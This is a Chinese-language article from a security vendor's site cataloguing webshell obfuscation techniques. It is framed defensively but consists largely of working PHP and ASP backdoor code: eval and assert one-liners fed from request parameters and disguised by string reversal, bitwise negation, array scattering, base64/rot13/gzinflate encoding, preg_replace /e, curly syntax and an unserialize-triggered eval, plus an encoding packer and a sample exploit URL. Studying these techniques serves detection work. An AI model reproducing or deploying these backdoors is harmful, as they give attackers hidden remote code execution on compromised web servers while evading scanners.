Webshell變形技術

未知攻焉知防 — Webshell變形技術集錦
作者: 郵箱投遞 2015年09月17日 23:17:02 8030 次閱讀來源: 安全狗
本文主要針對webshell變形技術進行一次總體的分析和提煉,歡迎交流。

0x1: 利用字符串變形技術改變隱祕特徵碼

傳統的shell免殺方式, 利用字符串函數以及字符串操作符, 將字符串進行多次分割、編碼、變形後再組裝成後門代碼然後調用執行.

簡單的字符串變形

<%

Function MorfiCoder(Code)

MorfiCoder=Replace(Replace(StrReverse(Code),”/*/”,””””),”\*\”,vbCrlf)

End Function

Execute MorfiCoder(“)/*/z/*/(tseuqer lave”)

%>

這段代碼將”eval request(//z//)”逆序成”)//z//(tseuqer lave”, 以逃避特徵碼查殺, 當腳本被訪問, 其代碼會被動態的解碼還原成原始的一句話後門. 當前90%以上的未知後門和變形後門都是使用此類動態解碼技術.

複雜的字符串組合

webshell1

//在一系列的複雜解碼操作之後, $Q 存儲了所有的後門代碼

$Q=str_replace(‘Do’,”,$b.$w.$K.$a.$H.$I.$A.$M.$t.$f.$S);

//$y=>create_function

$P=$y(”,$Q);$P();

//最後通過動態創建並調用函數變量$P, 得以觸發後門執行。

0x2:利用運算符變形

大部分的腳本語言中都有操作符. 不同的操作符對應的對象不同, 操作功能也各異. 這使得代碼變形有了更大的發揮空間.

PHP中的位運算符

webshell2

這些運算符都可以操作字符串!!!

簡單的按位取反, 獲取的後門代碼就是完全不可識別的。

webshell3

更多的運算符的組合搭配, 導致特徵碼完全不固定, 極其靈活.

<?php

//一句話密碼1987

$y=~督耽孩^'(1987)’;

var_dump($y);//string(6) “assert”

$y($_POST[1987]);

?>

0x3: 利用數據結構分散特徵碼

傳統的一句話木馬很容易被查殺. 但是在代碼多次變形之後, 就會變得肉眼難以識別. 除非藉助專門的工具, 否則很難分析出原始代碼.

原理: 將外部傳入數據,放入特定的數據結構中, 再以特定方式,抽取出變量組合成攻擊代碼, 從而分散特徵標識.

簡單的數組變形

<?php

$_ = array(“exp”=>$_GET[“a”]);

echo eval($_[“exp”]);

?>

PHP這類腳本語言因爲自身的靈活性, 導致變量名的識別難度增加, 攻擊者可以將傳入的參數放入數組中, 再賦值給這些迷惑性很高的變量名, 最後再進行調用.

複雜的數組變形

<?

$__C_C=”WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09″;

$__P_P=”abcdefghijklmnopqrstuvwxyz”;

$__X_X=”123456789″;

$__O_O=$__X_X[5].$__X_X[3].”_”;

$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];

$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];

$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];

$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];

$__F_F.=’_’.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].
$__P_P[14].$__P_P[13];

$_[00]=$__F_F(‘$__S_S’,$__E_E.'(“$__S_S”);’);

@$_[00]($__H_H($__H_H($__C_C)));

//解碼後即==> eval($_POST[x]);

?>

將關鍵字分散存儲在數組中, 再將其提取出來組合成關鍵函數名, 最後通過變量函數調用. 這類變形腳本的一個特徵就是——“反人類”。和正常的網頁腳本差距非常大,所以某個程度上說也其實也是最容易識別的。

0x4: 利用語言自帶變形函數增加複雜度

語言的函數越多,功能就越強大,代碼變形就越容易。多種函數混合+編碼轉換就是目前各種代碼外殼混淆加密算法的基礎。

str_rot13變形

<?php

eval(str_rot13(‘riny($_CBFG[cntr]);’));

//等同於eval($_POST[page]);

?>

base64加解密

<?php

function phpencode($code) {

$code = str_replace(array(‘<?php’,’?>’,'<?PHP’),array(”,”,”),$code);

$encode = base64_encode(gzdeflate($code));// 開始編碼

$encode = ‘<?php’.”\neval(gzinflate(base64_decode(“.”‘”.$encode.”‘”.”)));\n?>”;

return $encode;

}

function phpdecode($code) {

$code = str_replace(array(‘<!?php’,'<?PHP’,”eval(gzinflate(base64_decode(‘”,”‘)));”,’?>’),array(”,”,”,”,”,”),$code);

$decode = base64_decode($code);

$decode = @gzinflate($decode);

return $decode;

}

?>

urlencode加密轉換

<?php

$自由=$_REQUEST[a];

assert(${urldecode(“%E8%87%AA%E7%94%B1”)});

?>

utf8_encode

<?php

$自由=$_REQUEST[a];

$z=utf8_encode(“自由”);

$log=${utf8_decode($z)};

eval($log);

?>

編碼轉換千千萬萬, 組合方法更是千變萬化。目前市面上的大部分加密軟件都是以此爲基礎, 再進行深度加密。原因就是其免擴展,純綠色,適用範圍廣泛,混淆度高。再加上循環檢測機制可以做的極其複雜, 使得其在免殺shell中得到了非常廣泛的使用。

讓我們看一下加密前後的對比圖:

webshell4

肉眼已經無法識別,,不過仍可被安全狗“嘯天”引擎精準分析查殺哦。

0x5: 利用自定義函數增加代碼複雜度

webshell5

通過自定義的加解密函數, 可以將各種特徵碼標識完美的隱藏起來。這類加密被廣泛使用於大馬加密.

常見的有可逆加密和不可逆加密.
可逆加密, 即如上圖所示, 加密代碼只是爲了繞過特徵碼查殺, shell本身被獲取之後, 通過針對性的解密函數, 就可以獲取原文。
不可逆加密, 即通過DES,RSA這類非對稱的加密算法, 將shell全文加密之後, 攻擊者在訪問時, 通過用戶端提交的私鑰解碼出shell明文, 再繼續執行. 這樣就算加密shell被截獲, 也無法分析出shell原文。

0x6: 利用語言特性增加識別複雜度

一些語言特有的特性和函數, 可以被用來做代碼混淆。由於PHP特性太多,這裏只列舉幾個常用的.

正則替換函數執行代碼

preg_replace函數原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

/e 修正符使 preg_replace() 將 replacement 參數當作PHP
代碼執行。

<?php

function header_error($str{

@preg_replace(“//e”,$_POST[‘IN_TEMPLATE_ERROR’],”Access Denied”);

}

?>

語法特性

花括號內執行代碼

<?php

$tk = array(“a”=>”assert”);

$a = “${ $tk[“a”]( $_GET[a])}”;

?>

Curly Syntax 漏洞利用

webshell6

常量

<?php

define(“ABC”,$_REQUEST[ABC]);

assert(ABC);

?>

動態創建函數

<?php

$x=”as{$_REQUEST[1]}e{$_REQUEST[2]}” ;

$x($_REQUEST[3]);

?>

序列化與反序列化特性

<?php

  class Blog

  {

     var $vul = ”;

     function __destruct()

     {

        eval($this->vul);

     }

  }

  unserialize($_GET[‘name’]);

?>

index.php?name=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}

0x7: 利用高級語法特性

高級的語法特性在提高程序員生產力的同時, 也爲黑客提供了更多的便利。

反射機制

將後門代碼放到/**/註釋中,然後利用類的反射機制獲取到,最後進行動態函數的執行。此種手法的強大之處在於, 代碼以任意一種格式存在,極其靈活, 沒有行限制。

webshell7

將操作封裝成正常的類,再進行調用,和正常代碼基本無二,檢測和查殺難度進一步提升。

webshell8

總結:

從簡單的字符串變形到複雜的隨機字符串生成組合、從單文件的大馬到多文件的封裝調用;從可識別的一句話到網絡多重加密的非對稱後門;從基於腳本的功能堆積形後門到基於容器特性的隱蔽型遠控。伴隨這越來越多新技術的出現, webshell的特性和使用方式也會越來越多, 危害也也會越來越大。安全狗相信只有在動態對抗、 動態學習的機制下, 才能更好的應對未來黑客的攻擊。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章